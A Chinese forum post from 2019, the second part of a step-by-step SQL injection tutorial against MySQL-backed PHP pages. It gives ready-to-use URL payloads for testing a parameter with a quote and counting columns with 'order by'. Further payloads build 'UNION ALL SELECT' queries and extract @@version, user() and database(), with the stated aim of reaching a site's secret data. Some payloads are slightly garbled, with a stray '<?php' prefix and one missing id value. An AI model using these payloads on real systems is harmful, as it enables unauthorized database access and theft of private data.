悠悠小仙仙 发表于 2019-2-1 15:47:31

mysql注入2

0x05 ~ 获得秘密的数据SQL注入本质上不是为了绕过登录,而是用于访问数据库服务器中的敏感和秘密数据。 这部分很长,所以我将在小节中讨论。#0x05.a~检查漏洞假设你有一个网站:<?phpsite.com/article.php?id=5现在要检查它是否容易受到攻击,你只需添加'到底,即分配了id变量。所以,它是:<?phpsite.com/article.php?id=5'现在,如果站点不易受攻击,则会过滤并正常加载页面。但是,如果它不过滤查询字符串,它将给出如下错误:“第5行的Article.php中的'5''MySQL语法错误。”或者是错误,说我们检查正确的MySQL版本或MySQL Fetch错误或有时只是空白页面。 错误可能是任何形式。 因此,它确保该网站易受攻击。只是使用'可能不是肯定的测试; 所以你可以尝试不同的东西,比如:<?phpsite.com/article.php?id=5+union+select+1--如果你得到这个错误,你再次知道它的弱点...只是尝试不同的东西..#0x05.b~查找列数所以,现在是时候找到列数了。 为此,我们将使用'order by'直到我们收到错误。也就是说,我们将URL查询设为:<?phpsite.com/article.php?id=5+order+by+1/*这没有给出错误。现在,我确实把它增加到2:<?phpsite.com/article.php?id=5+order+by+2/*仍然没有错误
所以,我们需要增加,直到我们得到错误。在我的例子中,当我输入值3时出现错误,即:<?phpsite.com/article.php?id=5+order+by+3/*这反馈给了我错误。因此,这意味着当前表中有2列(3 - 1 = 2)。 这就是我们找到列数的方式。#0x05.c~解决弱势部分现在,我们需要使用union语句并找到我们可以替换的列,以便在页面上查看秘密数据。首先让我们设计一个不会出错的union语句。这就像这样:<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+null/*这会出错,因为我们的查询需要在那里再有一个null。而且null不会导致任何类型转换错误,因为它只是null。因此,对于我们的注射,它变成:<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+null,null/*为此我们做:<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+1,2/*现在我们将看到页面上的数字。 我的意思是,页面上可以看到1或2或1和2。 请注意,数字可以显示在页面标题中的任何位置,有时甚至可以显示在源代码中的隐藏标记中。因此,这意味着我们可以使用命令替换数字以显示数据库保存的私有数据。在我的例子中,页面上显示1。 这意味着,我应该用我的东西替换1继续进行。 得到它了? 所以让我们前进吧。快速注意:有时可能无法显示数字,因此您很难找到可用于窃取数据的列。因此,在这种情况下,您可以尝试以下内容:<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+xenu,null/*或者<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+null,xenu/*如果xenu显示在页面的某个位置,你可以进一步注射替换文本部分......在这里,我保留文本而不是整数来检查是否显示文本...另外,一定要检查源,因为有时他们 可能在一些隐藏的标签中..#0x05.d~查找MySQL版本对于我们的注入,有必要找到MySQL版本,因为如果它是5,我们的工作变得容易多了。 要检查版本,有一个函数@@ version或version()。那么,我们所做的是用@@版替换1(这是可替换的部分),即我们如下所示:<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+@@version,2/*或者<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+version(),2/*因此,这将返回在服务器上运行的MySQL版本。但是,有时你可能会遇到上述查询错误。 如果是这种情况,请使用unhex(hex())函数,如下所示:<?phpsite.com/article.php?id=UNION+ALL+SELECT+unhex(hex(@@version)),2/*请记住,如果你必须在这里使用unhex(hex())函数,你也必须在以后的注入过程中使用这个函数。@@版本会给你这个版本。 它可以是4(或更低)或5和更高。 我现在将分别讨论版本5和4的注射过程,正如我之前所说,版本5使我们可以轻松执行注射。注意:此外,您可以通过以下方式检查用户,数据库等。<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+user(),2/*site.com/article.php?id=5+UNION+ALL+SELECT+database(),2/*

页: [1]
查看完整版本: mysql注入2